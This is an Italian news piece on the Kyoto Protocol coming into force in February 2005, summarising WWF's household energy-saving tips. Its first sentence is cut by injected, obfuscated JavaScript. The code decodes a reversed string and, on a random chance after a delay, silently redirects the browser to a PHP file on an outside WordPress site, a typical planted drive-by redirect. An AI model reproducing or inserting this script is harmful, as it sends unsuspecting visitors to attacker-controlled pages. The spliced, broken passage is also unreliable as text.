16 febbraio 2005: entra in vigore il Protocollo di Kyoto

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Evitare di lasciare in st (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and-by televisori e videoregistratori, non impostare mai il prelavaggio sulla lavatrice, spegnere sempre la luce quando si lascia una stanza, usare solo pile ricaricabili, spostarsi con mezzi di trasporto puliti, riutilizzare le buste di plastica per fare la spesa. Sono alcune delle raccomandazioni contenute nell’”ecogalateo”, la raccolta di consigli pratici su come adottare comportamenti “amici del clima” senza rinunciare alle comodità quotidiane, preparata dal Wwf in occasione dell’entrata in vigore del Protocollo di Kyoto. Le famiglie italiane – spiegano i responsabili del Wwf – sono responsabili annualmente di oltre il 30% dei consumi energetici totali e producono il 27% circa delle emissioni nazionali di gas serra (il 18% per usi negli edifici e il 9% per usi di trasporto): ogni italiano con i propri comportamenti emette ben 21 kg di anidride carbonica al giorno. Da qui l’idea del progetto “Banca del Clima”, realizzato in collaborazione con Cittadinanzattiva, con indicazioni su come ridurre le emissioni “climalteranti” risparmiando anche denaro, codificate ora in un vero e proprio “ecogalateo”.

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